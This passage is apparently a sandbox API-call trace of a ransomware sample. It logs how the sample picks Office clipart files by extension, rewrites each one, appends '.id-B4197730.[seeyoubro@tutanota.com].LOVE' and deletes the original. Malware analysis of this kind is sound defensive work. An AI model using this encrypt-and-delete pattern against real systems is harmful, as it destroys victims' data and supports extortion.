returned 68 [0221.010] lstrlenW (lpString=".1cd") returned 4 [0221.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0221.010] lstrlenW (lpString=".jpg") returned 4 [0221.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.023] GetLastError () returned 0x0 [0221.023] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0221.027] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0221.028] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.028] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.028] SetEndOfFile (hFile=0x388) returned 1 [0221.028] CloseHandle (hObject=0x388) returned 1 [0221.028] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.028] SetEndOfFile (hFile=0x354) returned 1 [0221.029] CloseHandle (hObject=0x354) returned 1 [0221.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0221.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.030] lstrlenW (lpString=".doc") returned 4 [0221.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.030] lstrlenW (lpString=".docx") returned 5 [0221.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.030] lstrlenW (lpString=".pdf") returned 4 [0221.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.030] lstrlenW (lpString=".xls") returned 4 [0221.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.030] lstrlenW (lpString=".xlsx") returned 5 [0221.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.030] lstrlenW (lpString=".ppt") returned 4 [0221.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.030] lstrlenW (lpString=".zip") returned 4 [0221.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.030] lstrlenW (lpString=".rar") returned 4 [0221.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.030] lstrlenW (lpString=".bz2") returned 4 [0221.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.030] lstrlenW (lpString=".7z") returned 3 [0221.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.031] lstrlenW (lpString=".dbf") returned 4 [0221.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.031] lstrlenW (lpString=".1cd") returned 4 [0221.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0221.031] lstrlenW (lpString=".jpg") returned 4 [0221.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.031] GetLastError () returned 0x0 [0221.031] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0221.048] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xce0, lpOverlapped=0x0) returned 1 [0221.049] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.049] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.049] SetEndOfFile (hFile=0x388) returned 1 [0221.049] CloseHandle (hObject=0x388) returned 1 [0221.049] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.050] SetEndOfFile (hFile=0x354) returned 1 [0221.050] CloseHandle (hObject=0x354) returned 1 [0221.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0221.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.050] lstrlenW (lpString=".doc") returned 4 [0221.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.050] lstrlenW (lpString=".docx") returned 5 [0221.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.050] lstrlenW (lpString=".pdf") returned 4 [0221.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString=".xls") returned 4 [0221.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.051] lstrlenW (lpString=".xlsx") returned 5 [0221.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.051] lstrlenW (lpString=".ppt") returned 4 [0221.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.051] lstrlenW (lpString=".zip") returned 4 [0221.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.051] lstrlenW (lpString=".rar") returned 4 [0221.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString=".bz2") returned 4 [0221.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString=".7z") returned 3 [0221.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.051] lstrlenW (lpString=".dbf") returned 4 [0221.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.051] lstrlenW (lpString=".1cd") returned 4 [0221.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0221.051] lstrlenW (lpString=".jpg") returned 4 [0221.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.052] GetLastError () returned 0x0 [0221.052] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0221.064] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0221.065] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.065] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.066] SetEndOfFile (hFile=0x388) returned 1 [0221.066] CloseHandle (hObject=0x388) returned 1 [0221.066] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.066] SetEndOfFile (hFile=0x354) returned 1 [0221.067] CloseHandle (hObject=0x354) returned 1 [0221.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0221.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.068] lstrlenW (lpString=".doc") returned 4 [0221.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString=".docx") returned 5 [0221.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.068] lstrlenW (lpString=".pdf") returned 4 [0221.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString=".xls") returned 4 [0221.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.068] lstrlenW (lpString=".xlsx") returned 5 [0221.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.068] lstrlenW (lpString=".ppt") returned 4 [0221.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.068] lstrlenW (lpString=".zip") returned 4 [0221.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.068] lstrlenW (lpString=".rar") returned 4 [0221.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString=".bz2") returned 4 [0221.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString=".7z") returned 3 [0221.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.068] lstrlenW (lpString=".dbf") returned 4 [0221.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.068] lstrlenW (lpString=".1cd") returned 4 [0221.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0221.069] lstrlenW (lpString=".jpg") returned 4 [0221.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.069] GetLastError () returned 0x0 [0221.069] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x332, lpOverlapped=0x0) returned 1 [0221.079] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x340, lpOverlapped=0x0) returned 1 [0221.079] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.079] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.080] SetEndOfFile (hFile=0x388) returned 1 [0221.080] CloseHandle (hObject=0x388) returned 1 [0221.080] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.080] SetEndOfFile (hFile=0x354) returned 1 [0221.081] CloseHandle (hObject=0x354) returned 1 [0221.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0221.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.081] lstrlenW (lpString=".doc") returned 4 [0221.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.081] lstrlenW (lpString=".docx") returned 5 [0221.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.082] lstrlenW (lpString=".pdf") returned 4 [0221.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString=".xls") returned 4 [0221.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.082] lstrlenW (lpString=".xlsx") returned 5 [0221.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.082] lstrlenW (lpString=".ppt") returned 4 [0221.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.082] lstrlenW (lpString=".zip") returned 4 [0221.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.082] lstrlenW (lpString=".rar") returned 4 [0221.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString=".bz2") returned 4 [0221.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString=".7z") returned 3 [0221.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.082] lstrlenW (lpString=".dbf") returned 4 [0221.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.082] lstrlenW (lpString=".1cd") returned 4 [0221.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0221.082] lstrlenW (lpString=".jpg") returned 4 [0221.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.087] GetLastError () returned 0x0 [0221.087] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0221.129] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0221.130] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.130] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.130] SetEndOfFile (hFile=0x330) returned 1 [0221.130] CloseHandle (hObject=0x330) returned 1 [0221.130] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.131] SetEndOfFile (hFile=0x380) returned 1 [0221.131] CloseHandle (hObject=0x380) returned 1 [0221.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString=".doc") returned 4 [0221.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString=".docx") returned 5 [0221.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.135] lstrlenW (lpString=".pdf") returned 4 [0221.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString=".xls") returned 4 [0221.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.135] lstrlenW (lpString=".xlsx") returned 5 [0221.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.135] lstrlenW (lpString=".ppt") returned 4 [0221.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString=".zip") returned 4 [0221.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.135] lstrlenW (lpString=".rar") returned 4 [0221.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString=".bz2") returned 4 [0221.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString=".7z") returned 3 [0221.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString=".dbf") returned 4 [0221.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString=".1cd") returned 4 [0221.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0221.135] lstrlenW (lpString=".jpg") returned 4 [0221.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.143] GetLastError () returned 0x0 [0221.143] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2994, lpOverlapped=0x0) returned 1 [0221.150] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0221.151] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.151] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.151] SetEndOfFile (hFile=0x37c) returned 1 [0221.151] CloseHandle (hObject=0x37c) returned 1 [0221.151] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.152] SetEndOfFile (hFile=0x33c) returned 1 [0221.152] CloseHandle (hObject=0x33c) returned 1 [0221.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0221.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.153] lstrlenW (lpString=".doc") returned 4 [0221.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.153] lstrlenW (lpString=".docx") returned 5 [0221.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.153] lstrlenW (lpString=".pdf") returned 4 [0221.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.153] lstrlenW (lpString=".xls") returned 4 [0221.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.153] lstrlenW (lpString=".xlsx") returned 5 [0221.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.153] lstrlenW (lpString=".ppt") returned 4 [0221.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.154] lstrlenW (lpString=".zip") returned 4 [0221.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.154] lstrlenW (lpString=".rar") returned 4 [0221.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.154] lstrlenW (lpString=".bz2") returned 4 [0221.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.154] lstrlenW (lpString=".7z") returned 3 [0221.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.154] lstrlenW (lpString=".dbf") returned 4 [0221.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.154] lstrlenW (lpString=".1cd") returned 4 [0221.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0221.154] lstrlenW (lpString=".jpg") returned 4 [0221.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.155] GetLastError () returned 0x0 [0221.155] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x620, lpOverlapped=0x0) returned 1 [0221.163] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x630, lpOverlapped=0x0) returned 1 [0221.164] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.164] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.164] SetEndOfFile (hFile=0x37c) returned 1 [0221.164] CloseHandle (hObject=0x37c) returned 1 [0221.164] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, 